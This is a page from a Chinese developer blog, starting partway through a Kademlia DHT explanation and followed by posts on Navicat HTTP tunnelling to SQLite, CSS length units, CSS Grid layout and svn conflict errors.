对于任意一个给定节点, 我们将二叉树从根节点开始不断向下分成一系列不包含该节点的子树. 最高的子树由不包含该节点的二叉树的一半组成, 下一个子树又由不包含该节点的剩余树的一半组成, 以此类推. 如果这个二叉树的高度为 m + 1, 我们最终会得到 m 个子树. 接着在每个子树中任取 k 个节点, 形成 m 个 k 桶(k-bucket), 这 m 个 k 桶就是 Kademlia 节点的路由表. 我们定义最小子树中取得的节点为第 0 个 k 桶, 次小的子树中取得的节点为第 1 个 k 桶, 以此类推. 不难看出, 对于每个 $0 \leqslant i < m$, 第 $i$ 个 k 桶中节点与当前节点的距离总是在区间 $[2^i, 2^{i+1})$ 之内. 下图展示了 m = 3, k = 2 时节点 101 的 k 桶.

k-bucket

Kademlia 中每个节点都有一个基础操作, 称为 FIND_NODE 操作. FIND_NODE 接受一个 Key 作为参数, 返回当前节点所知道的 k 个距离这个 Key 最近的节点. 基于 k 桶, 找到这 k 个最近的节点很容易: 先求出这个 Key 与当前节点的的距离 $d$; 上面说了, 第 $i$ 个 k 桶中节点与当前节点的距离总是在区间 $[2^i, 2^{i+1})$ 之内, 这些区间都不会互相重叠, 那么显然 $d$ 落在的区间所属的 k 桶中的节点就是距离这个 Key 最近的节点. 如果这个 k 桶中的节点不足 k 个, 则在后一个 k 桶中取节点补充, 如果还不够就再在后一个 k 桶中取. 如果这个节点所有的 k 桶中的节点数之和都不足 k 个, 就返回它所知道的所有节点.

有了 FIND_NODE 操作, 我们就可以定义 Kademlia 中最重要的一个过程, 节点查找(node lookup). 节点查找要做的是, 给定一个 Key, 找出整个系统中距离它最近的 k 个节点. 这是一个递归过程: 首先初始节点调用自己的 FIND_NODE, 找到 k 个它所知的距离 Key 最近的节点. 接下来我们在这 k 个节点中取 $\alpha$ 个最近的节点, 同时请求它们为 Key 执行 FIND_NODE. 这里的 $\alpha$ 也是一个常量, 作用是同时请求提高效率, 比如取 $\alpha = 3$.

在接下来的递归过程中, 初始节点每次都在上一次请求后返回的节点中取 $\alpha$ 个最近的, 并且未被请求过的节点, 然后请求它们为 Key 执行 FIND_NODE, 以此类推. 每执行一次, 返回的节点就距离目标近一点. 如果某次请求返回的节点不比上次请求返回的节点距目标 Key 近, 就向所有未请求过的节点请求执行 FIND_NODE. 如果还不能获取更近的节点, 过程就终止. 这时我们在其中取 k 个距离 Key 最近的节点, 就是节点查找的结果.

Kademlia 的大多数操作都基于节点查找. 发布资源时, 只需为资源的 Key 执行节点查找, 获取 k 个距离资源最近的节点, 把资源存储在这些节点上.

获取资源也类似, 也只需为目标资源的 Key 执行节点查找, 不同的是一旦遇到拥有目标资源的节点就停止查找. 此外, 一旦一个节点查找成功, 它就会把资源缓存在离自己最近的节点上. 因为 Kademlia 的拓扑结构是单向的, 其他离目标资源比自己远的节点在查找时就很可能会经由缓存的节点, 这样就能提前终止查找, 提高了查找效率.

4.3 自我组织

k 桶的维护

所有的 k 桶都遵循最近最少使用(Least Recently Used, LRU)淘汰法. 最近最少活跃的节点排在 k 桶的头部, 最近最多活跃的节点排在 k 桶尾部. 当一个 Kademlia 节点接收到任何来自其他节点的消息(请求或响应)的时候, 都会尝试更新相应的 k 桶. 如果这个节点在接收者对应的 k 桶中, 接收者就会把它移动到 k 桶的尾部. 如果这个节点不在相应的 k 桶中, 并且 k 桶的节点小于 k 个, 那么接收者就会直接把这个节点插入到这个 k 桶的尾部. 如果相应的 k 桶是满的, 接收者就会尝试 ping 这个 k 桶中最近最少活跃的节点. 如果最近最少活跃的节点失效了, 那么就移除它并且将新节点插入到 k 桶的尾部; 否则就把最近最少活跃的节点移动到 k 桶尾部, 并丢弃新节点.

通过这个机制就能在的通信的同时刷新 k 桶. 为了防止某些范围的 Key 不易被查找的情况, 每个节点都会手动刷新在上一小时未执行查找的 k 桶. 做法是在这个 k 桶中随机选一个 Key 执行节点查找.

节点加入

一个新节点 $n$ 要想加入 Kademlia, 它首先使用一些算法生成自己的 ID, 然后它需要通过一些外部手段获取到系统中的任意一个节点 $n’$, 把 $n’$ 加入到合适的 k 桶中. 然后对自己的 ID 执行一次节点查找. 根据上述的 k 桶维护机制, 在查找的过程中新节点 $n$ 就能自动构建好自己的 k 桶, 同时把自己插入到其他合适节点的 k 桶中, 而无需其他操作.

节点加入时除了构建 k 桶之外, 还应该取回这个节点应负责的资源. Kademlia 的做法是每隔一段时间(例如一个小时), 所有的节点都对其拥有的资源执行一次发布操作; 此外每隔一段时间(例如24小时)节点就会丢弃这段时间内未收到发布消息的资源. 这样新节点就能收到自己须负责的资源, 同时资源总能保持被 k 个距离它最近的节点负责.

如果每个小时所有节点都重发它们所拥有的资源, 就有些浪费了. 为了优化这一点, 当一个节点收到一个资源的发布消息, 它就不会在下一个小时重发它. 因为当一个节点收到一个资源的发布消息, 它就可以认为有 k - 1 个其他节点也收到了这个资源的发布消息. 只要节点重发资源的节奏不一致, 这就能保证每个资源都始终只有一个节点在重发.

节点失效和离开

有了上述 k 桶维护和资源重发机制, 我们不需要为节点的失效和离开做任何其它的工作. 这也是 Kademlia 算法的巧妙之处, 它的容错性要高于其他分布式哈希表算法.

5. 总结

这篇文章介绍了 P2P 技术和分布式哈希表, 以及两种分布式哈希表算法, 基本介绍了它们的原理和实现机制. 文本也是笔者对这两篇论文学习的总结, 限于篇幅和笔者的精力, 对于其中的一些实现细节, 策略背后的理论和实验支撑, 算法的证明等未予阐述. 建议想要深入学习的同学阅读参考资料中的内容. 搭建 P2P 架构是一项很有挑战性的工作, 笔者认为即使不从事 P2P 开发, 了解和学习 P2P 技术对于服务器架构方面也是很有帮助的.


参考资料

  • Peer-to-Peer Systems and Applications
  • Chord: A scalable peer-to-peer lookup service for internet applications
  • Kademlia: A Peer-to-Peer Information System Based on the XOR Metric

Navicat使用HTTP通道远程连接SQLite

发表于 2020-04-10 分类于 数据库

在线上环境的服务器,一般都是关闭了数据库外网访问的权限,这时候外网就不能直接连接数据库了,需要在服务器内才能操作数据库。但Navicat软件提供了HTTP通道代理连接数据库功能,只要服务器上有HTTP服务,并且端口开放了,就可以使用HTTP通道来连接数据库。

基本原理

数据库端口没开放外网访问的时候,Navicat在外网无法访问数据库。

服务器上运行着PHP,并且我们是可以访问到PHP的。

PHP可以连接SQLite数据库并执行SQL语句,因为它们都在内网和PHP支持SQLite。

虽然Navicat无法连接上SQLite,但是Navicat对数据库所有的查询可以让PHP代为查询,然后把结果返回给Navicat。

所以把一个php脚本放到服务器上,就可以让Navicat间接连接数据库,对数据库进行操作了。

上传PHP脚本

Navicat软件自带三个php代理脚本,它在Navicat安装目录下,分别是:ntunnel_sqlite.php ntunnel_pgsql.php ntunnel_sqlite.php 点击获取

这里主要讲SQLite,所以用到的是ntunnel_sqlite.php脚本,其他数据库基本同理。

将ntunnel_sqlite.php上传到服务器(远程服务器必须支持php环境),并测试能否通过浏览器访问到

Navicat连接设置

在新建或者编辑连接的时候,选项卡里面都会有一个HTTP,切换到HTTP选项卡。

然后勾选使用HTTP通道,通道网址处输入ntunnel_sqlite.php的网址。

建议勾选上用base64编码传出查询,不然有可能出现700 Invalid response: 500错误。

这个错误主要出现在获取数据库列表和表结构的时候出现,服务器有使用防护软件,也有可能是它捣的鬼。

然后在常规选项卡里,设置好端口、用户名、密码,主机输入127.0.0.1或者对应的内网IP。

简单来说就是服务器上项目配置里的数据库连接配置怎么设置的,这里就怎么设置,因为是用php来代替连接数据库

测试连接

最后,测试下连接。如果有错误,先重启navicate,还不行的话再按照错误信息修改下对应的配置即可。

附件

如果你不知道在哪找到通道脚本,关注下面微信号,回复 navicat 即可获取。

四川移动掌厅APP接口分析

发表于 2020-04-06

文章内容已被作者限制访问

CSS计量单位

发表于 2020-03-31 分类于 前端开发

我们很容易无法摆脱的使用我们所熟悉的CSS技术,当新的问题出现,这样会使我们处于不利的地位。

随着Web继续的发展,对新的解决方案的需求也会继续增大。因此,作为网页设计师和前端开发人员,我们别无选择,只有去了解我们的工具集并且熟悉它。

这意味着我们还要了解一些特殊的工具-那些不经常使用的,但是当需要它们的时候,它们恰恰是最正确的工具。

今天,我将要向你介绍一些你以前可能不知道的CSS工具。这些工具都是计量单位,就像像素或者相对单位,但是很可能你从来没听说过它们!让我们一探究竟吧。

rem

我们将从你已经熟悉的东西开始。em单位被定义为当前字体大小。例如,如果你在body元素上设置一个字体大小,那么在body元素内的任何子元素的em值都等于这个字体大小。

1
2
3
4
5
6
7
8
9
10
11
12
<body>
<div class="test">Test</div>
</body>

<style>
body {
font-size: 14px;
}
div {
font-size: 1.2em; // calculated at 14px * 1.2, or 16.8px
}
</style>

在这里,我们说这个div将有一个1.2em的font-size。它是所继承的字体大小的1.2倍,在这个例子中为14px。结果为16.8px.

但是,当你在每个元素内都级联em定义的字体大小将会发生什么?在下面的代码片段中我们应用和上面一模一样的CSS.每个div从它们的父节点继承字体大小,带给我们逐渐增加的字体大小。

1
2
3
4
5
6
7
8
9
10
11
<body>
<div>
Test <!-- 14 * 1.2 = 16.8px -->
<div>
Test <!-- 16.8 * 1.2 = 20.16px -->
<div>
Test <!-- 20.16 * 1.2 = 24.192px -->
</div>
</div>
</div>
</body>

虽然在某些情况下可能需要这个,但是通常你可能想基于一个唯一的度量标准来按比例缩放。在这种情况下,你应该用rem。rem中的”r“代表”root“;这等同于font-size基于根元素进行设置;在大多数情况下根元素为html元素。

1
2
3
4
5
6
html {
font-size: 14px;
}
div {
font-size: 1.2rem;
}

在上一个示例中三个嵌套的div的字体大小计算结果都为16.8px。

对网格布局的好处

rem不是只对定义字体大小有用。比如,你可以使用rem把整个网格系统或者UI样式库基于HTML根元素的字体大小上,然后在特定的地方使用em比例缩放。这将带给你更加可预测的字体大小和比例缩放。

1
2
3
.container {
width: 70rem; // 70 * 14px = 980px
}

从概念上讲,像这样一个策略背后的想法是为了允许你的界面随着你的内容按比例缩放。然而,这可能不一定对每个案例都有意义。

“rem(root em)单位”的兼容性列表。

vh 和 vw

响应式网页设计技术很大程度上依赖于比例规则。然而,CSS比例不总是每个问题的最佳解决方案。CSS宽度是相对于最近的包含父元素。如果你想使用显示窗口的宽度或高度而不是父元素的宽度将会怎么样?这正是vh和vw单位所提供的。

vh等于viewport高度的1/100.例如,如果浏览器的高是900px,1vh求得的值为9px。同理,如果显示窗口宽度为750px,1vw求得的值为7.5px。

这些规则表面上看起来有无尽的用途。例如,做一个占满高度的或者接近占满高度的幻灯片,可以用一个非常简单的方法实现,只要用一行CSS:

1
2
3
.slide {
height: 100vh;
}

设想你想要一个占满屏幕宽度的标题。为做到这一点,你将会用vw来设置一个字体大小。这个大小将会随着浏览器的宽度按比例缩放。

视窗单位: vw, vh的兼容性列表。

vmin 和 vmax

vh和vm总是与视口的高度和宽度有关,与之不同的,vmin和vmax是与这次宽度和高度的最大值或最小值有关,取决于哪个更大和更小。例如,如果浏览器设置为1100px宽、700px高,1vmin会是7px,1vmax为11px。然而,如果宽度设置为800px,高度设置为1080px,1vmin将会等于8px而1vmax将会是10.8px。

所以你什么时候可能用到这些值?

设想你需要一个总是在屏幕上可见的元素。使用高度和宽度设置为低于100的vmin值将可以实现这个效果。例如,一个正方形的元素总是至少接触屏幕的两条边可能是这样定义的:

1
2
3
4
.box {
height: 100vmin;
width: 100vmin;
}

vmin

如果你需要一个总是覆盖可视窗口的正方形(一直接触屏幕的四条边),使用相同的规则只是把单位换成vmax。

1
2
3
4
.box {
height: 100vmax;
width: 100vmax;
}

vmax

这些规则的组合提供了一个非常灵活的方式,用新的、令人兴奋的方式利用你的可视窗口的大小。

Viewport units: vmin, vmax兼容列表。

ex 和 ch

ex和ch单位,与em和rem相似,依赖于当前字体和字体大小。然而,与em和rem不同的是,这两个单位只也依赖于font-family,因为它们被定为基于特殊字体的法案。

ch单位,或者字符单位被定义为0字符的宽度的“先进的尺寸”。在“Eric Meyer’s的博客”中可以找到一些非常有趣的讨论关于这意味着什么,但是基本的概念是,给定一个等宽字体的字体,一个N个字符单位宽的盒子,比如width:40ch;,可以一直容纳一个有40个字符的应用那个特定字体的字符串。虽然这个特殊规则的传统用途与列出盲文有关,但是这里创造性的可行性一定会超越这些简单的用途。

ex单位被定义为”当前字体的x-height或者一个em的一半”。给定的字体的x-height是指那个字体的小写x的高度。通常,这是这个字体的中间的标志。

ex

x-height: 小写字母x的高度(阅读更多关于The Anatomy of Web Typography)

对于这种单位有很多的用途,大多数是用于排版的微调。例如,sup元素,代表_上标_,可以用相对定位和一个1ex的底部值在行内被推高。类似地,你可以拉低一个下标元素。浏览器默认支持这些利用上标和下标特性的vertical-align规则,但是如果你想要更精细的控制,你可以像这样更明确的处理样式:

1
2
3
4
5
6
7
8
sup {
position: relative;
bottom: 1ex;
}
sub {
position: relative;
bottom: -1ex;
}

ex单位在CSS1中已经存在,但是你不会找到对ch单位有像这样坚实的支持。具体支持,在Eric Meyer’s 的博客中查看CSS单位和值。

结论

密切关注CSS的持续发展和扩张是非常重要的,一边在你的工具集里知道所有的工具。也许你会遇到一个特殊的问题需要一个意想不到的解决方案,利用这些更隐蔽的计量单位之一。花时间去阅读新规范,记录来自好的资源的新闻资讯!

扩展

  • Taking the “Erm..” Out of Ems
  • Taking Ems Even Further
  • Caniuse Viewport units
  • CSS的font-size属性
  • Rem VS Px
  • CSS的长度单位
  • CSS3的REM设置字体大小
  • CSS中强大的EM

本文根据@Jonathan Cutrell的《7 CSS Units You Might Not Know About》所译。

Grid布局 转

发表于 2020-03-31 分类于 前端开发

一、概述

网格布局(Grid)是最强大的 CSS 布局方案。

它将网页划分成一个个网格,可以任意组合不同的网格,做出各种各样的布局。以前,只能通过复杂的 CSS 框架达到的效果,现在浏览器内置了。

上图这样的布局,就是 Grid 布局的拿手好戏。

Grid 布局与 Flex 布局有一定的相似性,都可以指定容器内部多个项目的位置。但是,它们也存在重大区别。

Flex 布局是轴线布局,只能指定”项目”针对轴线的位置,可以看作是一维布局。Grid 布局则是将容器划分成”行”和”列”,产生单元格,然后指定”项目所在”的单元格,可以看作是二维布局。Grid 布局远比 Flex 布局强大。

二、基本概念

学习 Grid 布局之前,需要了解一些基本概念。

2.1 容器和项目

采用网格布局的区域,称为”容器”(container)。容器内部采用网格定位的子元素,称为”项目”(item)。

1
2
3
4
5
<div>
<div><p>1</p></div>
<div><p>2</p></div>
<div><p>3</p></div>
</div>

上面代码中,最外层的<div>元素就是容器,内层的三个<div>元素就是项目。

注意:项目只能是容器的顶层子元素,不包含项目的子元素,比如上面代码的<p>元素就不是项目。Grid 布局只对项目生效。

2.2 行和列

容器里面的水平区域称为”行”(row),垂直区域称为”列”(column)。

上图中,水平的深色区域就是”行”,垂直的深色区域就是”列”。

2.3 单元格

行和列的交叉区域,称为”单元格”(cell)。

正常情况下,n行和m列会产生n x m个单元格。比如,3行3列会产生9个单元格。

2.4 网格线

划分网格的线,称为”网格线”(grid line)。水平网格线划分出行,垂直网格线划分出列。

正常情况下,n行有n + 1根水平网格线,m列有m + 1根垂直网格线,比如三行就有四根水平网格线。

上图是一个 4 x 4 的网格,共有5根水平网格线和5根垂直网格线。

三、容器属性

Grid 布局的属性分成两类。一类定义在容器上面,称为容器属性;另一类定义在项目上面,称为项目属性。这部分先介绍容器属性。

3.1 display 属性

display: grid指定一个容器采用网格布局。

1
2
3
div {
display: grid;
}

上图是display: grid的效果。

默认情况下,容器元素都是块级元素,但也可以设成行内元素。

1
2
3
div {
display: inline-grid;
}

上面代码指定div是一个行内元素,该元素内部采用网格布局。

上图是display: inline-grid的效果。

注意,设为网格布局以后,容器子元素(项目)的float、display: inline-block、display: table-cell、vertical-align和column-*等设置都将失效。

3.2 grid-template-columns,grid-template-rows 属性

容器指定了网格布局以后,接着就要划分行和列。grid-template-columns属性定义每一列的列宽,grid-template-rows属性定义每一行的行高。

1
2
3
4
5
.container {
display: grid;
grid-template-columns: 100px 100px 100px;
grid-template-rows: 100px 100px 100px;
}

上面代码指定了一个三行三列的网格,列宽和行高都是100px。

除了使用绝对单位,也可以使用百分比。

1
2
3
4
5
.container {
display: grid;
grid-template-columns: 33.33% 33.33% 33.33%;
grid-template-rows: 33.33% 33.33% 33.33%;
}

(1)repeat()

有时候,重复写同样的值非常麻烦,尤其网格很多时。这时,可以使用repeat()函数,简化重复的值。上面的代码用repeat()改写如下。

1
2
3
4
5
.container {
display: grid;
grid-template-columns: repeat(3, 33.33%);
grid-template-rows: repeat(3, 33.33%);
}

repeat()接受两个参数,第一个参数是重复的次数(上例是3),第二个参数是所要重复的值。

repeat()重复某种模式也是可以的。

1
grid-template-columns: repeat(2, 100px 20px 80px);

上面代码定义了6列,第一列和第四列的宽度为100px,第二列和第五列为20px,第三列和第六列为80px。

(2)auto-fill 关键字

有时,单元格的大小是固定的,但是容器的大小不确定。如果希望每一行(或每一列)容纳尽可能多的单元格,这时可以使用auto-fill关键字表示自动填充。

1
2
3
4
.container {
display: grid;
grid-template-columns: repeat(auto-fill, 100px);
}

上面代码表示每列宽度100px,然后自动填充,直到容器不能放置更多的列。

(3)fr 关键字

为了方便表示比例关系,网格布局提供了fr关键字(fraction 的缩写,意为”片段”)。如果两列的宽度分别为1fr和2fr,就表示后者是前者的两倍。

1
2
3
4
.container {
display: grid;
grid-template-columns: 1fr 1fr;
}

上面代码表示两个相同宽度的列。

fr可以与绝对长度的单位结合使用,这时会非常方便。

1
2
3
4
.container {
display: grid;
grid-template-columns: 150px 1fr 2fr;
}

上面代码表示,第一列的宽度为150像素,第二列的宽度是第三列的一半。

(4)minmax()

minmax()函数产生一个长度范围,表示长度就在这个范围之中。它接受两个参数,分别为最小值和最大值。

1
grid-template-columns: 1fr 1fr minmax(100px, 1fr);

上面代码中,minmax(100px, 1fr)表示列宽不小于100px,不大于1fr。

(5)auto 关键字

auto关键字表示由浏览器自己决定长度。

1
grid-template-columns: 100px auto 100px;

上面代码中,第二列的宽度,基本上等于该列单元格的最大宽度,除非单元格内容设置了min-width,且这个值大于最大宽度。

(6)网格线的名称

grid-template-columns属性和grid-template-rows属性里面,还可以使用方括号,指定每一根网格线的名字,方便以后的引用。

1
2
3
4
5
.container {
display: grid;
grid-template-columns: [c1] 100px [c2] 100px [c3] auto [c4];
grid-template-rows: [r1] 100px [r2] 100px [r3] auto [r4];
}

上面代码指定网格布局为3行 x 3列,因此有4根垂直网格线和4根水平网格线。方括号里面依次是这八根线的名字。

网格布局允许同一根线有多个名字,比如[fifth-line row-5]。

(7)布局实例

grid-template-columns属性对于网页布局非常有用。两栏式布局只需要一行代码。

1
2
3
4
.wrapper {
display: grid;
grid-template-columns: 70% 30%;
}

上面代码将左边栏设为70%,右边栏设为30%。

传统的十二网格布局,写起来也很容易。

1
grid-template-columns: repeat(12, 1fr);

3.3 grid-row-gap,grid-column-gap,grid-gap 属性

grid-row-gap属性设置行与行的间隔(行间距),grid-column-gap属性设置列与列的间隔(列间距)。

1
2
3
4
.container {
grid-row-gap: 20px;
grid-column-gap: 20px;
}

上面代码中,grid-row-gap用于设置行间距,grid-column-gap用于设置列间距。

grid-gap属性是grid-column-gap和grid-row-gap的合并简写形式,语法如下。

1
grid-gap: <grid-row-gap> <grid-column-gap>;

因此,上面一段 CSS 代码等同于下面的代码。

1
2
3
.container {
grid-gap: 20px 20px;
}

如果grid-gap省略了第二个值,浏览器认为第二个值等于第一个值。

根据最新标准,上面三个属性名的grid-前缀已经删除,grid-column-gap和grid-row-gap写成column-gap和row-gap,grid-gap写成gap。

3.4 grid-template-areas 属性

网格布局允许指定”区域”(area),一个区域由单个或多个单元格组成。grid-template-areas属性用于定义区域。

1
2
3
4
5
6
7
8
.container {
display: grid;
grid-template-columns: 100px 100px 100px;
grid-template-rows: 100px 100px 100px;
grid-template-areas: 'a b c'
'd e f'
'g h i';
}

上面代码先划分出9个单元格,然后将其定名为a到i的九个区域,分别对应这九个单元格。

多个单元格合并成一个区域的写法如下。

1
2
3
grid-template-areas: 'a a a'
'b b b'
'c c c';

上面代码将9个单元格分成a、b、c三个区域。

下面是一个布局实例。

1
2
3
grid-template-areas: "header header header"
"main main sidebar"
"footer footer footer";

上面代码中,顶部是页眉区域header,底部是页脚区域footer,中间部分则为main和sidebar。

如果某些区域不需要利用,则使用”点”(.)表示。

1
2
3
grid-template-areas: 'a . c'
'd . f'
'g . i';

上面代码中,中间一列为点,表示没有用到该单元格,或者该单元格不属于任何区域。

注意,区域的命名会影响到网格线。每个区域的起始网格线,会自动命名为区域名-start,终止网格线自动命名为区域名-end。

比如,区域名为header,则起始位置的水平网格线和垂直网格线叫做header-start,终止位置的水平网格线和垂直网格线叫做header-end。

3.5 grid-auto-flow 属性

划分网格以后,容器的子元素会按照顺序,自动放置在每一个网格。默认的放置顺序是”先行后列”,即先填满第一行,再开始放入第二行,即下图数字的顺序。

这个顺序由grid-auto-flow属性决定,默认值是row,即”先行后列”。也可以将它设成column,变成”先列后行”。

1
grid-auto-flow: column;

上面代码设置了column以后,放置顺序就变成了下图。

grid-auto-flow属性除了设置成row和column,还可以设成row dense和column dense。这两个值主要用于,某些项目指定位置以后,剩下的项目怎么自动放置。

下面的例子让1号项目和2号项目各占据两个单元格,然后在默认的grid-auto-flow: row情况下,会产生下面这样的布局。

上图中,1号项目后面的位置是空的,这是因为3号项目默认跟着2号项目,所以会排在2号项目后面。

现在修改设置,设为row dense,表示”先行后列”,并且尽可能紧密填满,尽量不出现空格。

1
grid-auto-flow: row dense;

上面代码的效果如下。

上图会先填满第一行,再填满第二行,所以3号项目就会紧跟在1号项目的后面。8号项目和9号项目就会排到第四行。

如果将设置改为column dense,表示”先列后行”,并且尽量填满空格。

1
grid-auto-flow: column dense;

上面代码的效果如下。

上图会先填满第一列,再填满第2列,所以3号项目在第一列,4号项目在第二列。8号项目和9号项目被挤到了第四列。

3.6 justify-items,align-items,place-items 属性

justify-items属性设置单元格内容的水平位置(左中右),align-items属性设置单元格内容的垂直位置(上中下)。

1
2
3
4
.container {
justify-items: start | end | center | stretch;
align-items: start | end | center | stretch;
}

这两个属性的写法完全相同,都可以取下面这些值。

  • start:对齐单元格的起始边缘。
  • end:对齐单元格的结束边缘。
  • center:单元格内部居中。
  • stretch:拉伸,占满单元格的整个宽度(默认值)。
1
2
3
.container {
justify-items: start;
}

上面代码表示,单元格的内容左对齐,效果如下图。

1
2
3
.container {
align-items: start;
}

上面代码表示,单元格的内容头部对齐,效果如下图。

place-items属性是align-items属性和justify-items属性的合并简写形式。

1
place-items: <align-items> <justify-items>;

下面是一个例子。

1
place-items: start end;

如果省略第二个值,则浏览器认为与第一个值相等。

3.7 justify-content ,align-content,place-content 属性

justify-content属性是整个内容区域在容器里面的水平位置(左中右),align-content属性是整个内容区域的垂直位置(上中下)。

1
2
3
4
.container {
justify-content: start | end | center | stretch | space-around | space-between | space-evenly;
align-content: start | end | center | stretch | space-around | space-between | space-evenly;
}

这两个属性的写法完全相同,都可以取下面这些值。(下面的图都以justify-content属性为例,align-content属性的图完全一样,只是将水平方向改成垂直方向。)

  • start - 对齐容器的起始边框。

  • end - 对齐容器的结束边框。

  • center - 容器内部居中。

  • stretch - 项目大小没有指定时,拉伸占据整个网格容器。

  • space-around - 每个项目两侧的间隔相等。所以,项目之间的间隔比项目与容器边框的间隔大一倍。

  • space-between - 项目与项目的间隔相等,项目与容器边框之间没有间隔。

  • space-evenly - 项目与项目的间隔相等,项目与容器边框之间也是同样长度的间隔。

place-content属性是align-content属性和justify-content属性的合并简写形式。

1
place-content: <align-content> <justify-content>

下面是一个例子。

1
place-content: space-around space-evenly;

如果省略第二个值,浏览器就会假定第二个值等于第一个值。

3.8 grid-auto-columns, grid-auto-rows 属性

有时候,一些项目的指定位置,在现有网格的外部。比如网格只有3列,但是某一个项目指定在第5行。这时,浏览器会自动生成多余的网格,以便放置项目。

grid-auto-columns属性和grid-auto-rows属性用来设置,浏览器自动创建的多余网格的列宽和行高。它们的写法与grid-template-columns和grid-template-rows完全相同。如果不指定这两个属性,浏览器完全根据单元格内容的大小,决定新增网格的列宽和行高。

下面的例子里面,划分好的网格是3行 x 3列,但是,8号项目指定在第4行,9号项目指定在第5行。

1
2
3
4
5
6
.container {
display: grid;
grid-template-columns: 100px 100px 100px;
grid-template-rows: 100px 100px 100px;
grid-auto-rows: 50px;
}

上面代码指定新增的行高统一为50px(原始的行高为100px)。

3.9 grid-template, grid 属性

grid-template属性是grid-template-columns、grid-template-rows和grid-template-areas这三个属性的合并简写形式。

grid属性是grid-template-rows、grid-template-columns、grid-template-areas、 grid-auto-rows、grid-auto-columns、grid-auto-flow这六个属性的合并简写形式。

从易读易写的角度考虑,还是建议不要合并属性,所以这里就不详细介绍这两个属性了。

四、项目属性

下面这些属性定义在项目上面。

4.1 grid-column-start,grid-column-end,grid-row-start,grid-row-end属性

项目的位置是可以指定的,具体方法就是指定项目的四个边框,分别定位在哪根网格线。

  • grid-column-start:左边框所在的垂直网格线
  • grid-column-end:右边框所在的垂直网格线
  • grid-row-start:上边框所在的水平网格线
  • grid-row-end:下边框所在的水平网格线
1
2
3
4
.item-1 {
grid-column-start: 2;
grid-column-end: 4;
}

上面代码指定,1号项目的左边框是第二根垂直网格线,右边框是第四根垂直网格线。

上图中,只指定了1号项目的左右边框,没有指定上下边框,所以会采用默认位置,即上边框是第一根水平网格线,下边框是第二根水平网格线。

除了1号项目以外,其他项目都没有指定位置,由浏览器自动布局,这时它们的位置由容器的grid-auto-flow属性决定,这个属性的默认值是row,因此会”先行后列”进行排列。读者可以把这个属性的值分别改成column、row dense和column dense,看看其他项目的位置发生了怎样的变化。

下面的例子是指定四个边框位置的效果。

1
2
3
4
5
6
.item-1 {
grid-column-start: 1;
grid-column-end: 3;
grid-row-start: 2;
grid-row-end: 4;
}

这四个属性的值,除了指定为第几个网格线,还可以指定为网格线的名字。

1
2
3
4
.item-1 {
grid-column-start: header-start;
grid-column-end: header-end;
}

上面代码中,左边框和右边框的位置,都指定为网格线的名字。

这四个属性的值还可以使用span关键字,表示”跨越”,即左右边框(上下边框)之间跨越多少个网格。

1
2
3
.item-1 {
grid-column-start: span 2;
}

上面代码表示,1号项目的左边框距离右边框跨越2个网格。

这与下面的代码效果完全一样。

1
2
3
.item-1 {
grid-column-end: span 2;
}

使用这四个属性,如果产生了项目的重叠,则使用z-index属性指定项目的重叠顺序。

4.2 grid-column,grid-row 属性

grid-column属性是grid-column-start和grid-column-end的合并简写形式,grid-row属性是grid-row-start属性和grid-row-end的合并简写形式。

1
2
3
4
.item {
grid-column: / ;
grid-row: / ;
}

下面是一个例子。

1
2
3
4
5
6
7
8
9
10
11
.item-1 {
grid-column: 1 / 3;
grid-row: 1 / 2;
}
/* 等同于 */
.item-1 {
grid-column-start: 1;
grid-column-end: 3;
grid-row-start: 1;
grid-row-end: 2;
}

上面代码中,项目item-1占据第一行,从第一根列线到第三根列线。

这两个属性之中,也可以使用span关键字,表示跨越多少个网格。

1
2
3
4
5
6
7
8
9
10
11
.item-1 {
background: #b03532;
grid-column: 1 / 3;
grid-row: 1 / 3;
}
/* 等同于 */
.item-1 {
background: #b03532;
grid-column: 1 / span 2;
grid-row: 1 / span 2;
}

上面代码中,项目item-1占据的区域,包括第一行 + 第二行、第一列 + 第二列。

斜杠以及后面的部分可以省略,默认跨越一个网格。

1
2
3
4
.item-1 {
grid-column: 1;
grid-row: 1;
}

上面代码中,项目item-1占据左上角第一个网格。

4.3 grid-area 属性

grid-area属性指定项目放在哪一个区域。

1
2
3
.item-1 {
grid-area: e;
}

上面代码中,1号项目位于e区域,效果如下图。

grid-area属性还可用作grid-row-start、grid-column-start、grid-row-end、grid-column-end的合并简写形式,直接指定项目的位置。

1
2
3
.item {
grid-area: <row-start> / <column-start> / <row-end> / <column-end>;
}

下面是一个例子。

1
2
3
.item-1 {
grid-area: 1 / 1 / 3 / 3;
}

4.4 justify-self,align-self,place-self 属性

justify-self属性设置单元格内容的水平位置(左中右),跟justify-items属性的用法完全一致,但只作用于单个项目。

align-self属性设置单元格内容的垂直位置(上中下),跟align-items属性的用法完全一致,也是只作用于单个项目。

1
2
3
4
.item {
justify-self: start | end | center | stretch;
align-self: start | end | center | stretch;
}

这两个属性都可以取下面四个值。

  • start:对齐单元格的起始边缘。
  • end:对齐单元格的结束边缘。
  • center:单元格内部居中。
  • stretch:拉伸,占满单元格的整个宽度(默认值)。

下面是justify-self: start的例子。

1
2
3
 .item-1  {
justify-self: start;
}

place-self属性是align-self属性和justify-self属性的合并简写形式。

1
place-self: <align-self> <justify-self>;

下面是一个例子。

1
place-self: center center;

如果省略第二个值,place-self属性会认为这两个值相等。

五、兼容性

在开发之前,你得先了解其兼容性。总体来说,Grid兼容性还是不够全面,但如果一些公司用于内部系统开发,grid布局将会是一个不错的选择。数据来源:传送门

兼容性

六、参考链接

A Complete Guide to Grid, by Chris House
Understanding the CSS Grid Layout Module, by Ian Yates
How to Build an Off-Canvas Navigation With CSS Grid, Ian Yates
Introduction to the CSS Grid Layout With Examples, Dogacan Bilgili
Learn CSS Grid, Jonathan Suh
How I stopped using Bootstrap’s layout thanks to CSS Grid, Cédric Kui

svn常见问题汇总(持续更新)

发表于 2020-03-26 分类于 服务器运维

Skipped ‘xxxxxx’ Node remains in conflict

问题描述

svn up 的时候报错显示 Skipped ‘app/Extend/assets/ttfs’ – Node remains in conflict 说app/Extend/assets/ttfs被忽略了,因为冲突而且app/Extend/assets/ttfs又被更新回来了,还是旧版本的内容,之前修改的标题并没有被修改,如图
问题描述

解决方法

1
svn revert --depth=infinity 冲突文件/文件夹

或者

1
2
3
4
5
svn remove --force filename

svn resolve --accept=working filename

svn up

E220001: 遇到不可读的路径;拒绝访问

在客户端试图 svn merge 总是报svn: E220001: 遇到不可读的路径;拒绝访问。这个错误

提示 : SVN 遇到不可读的路径;拒绝访问。 英文是: Unreadable path encountered; access denied

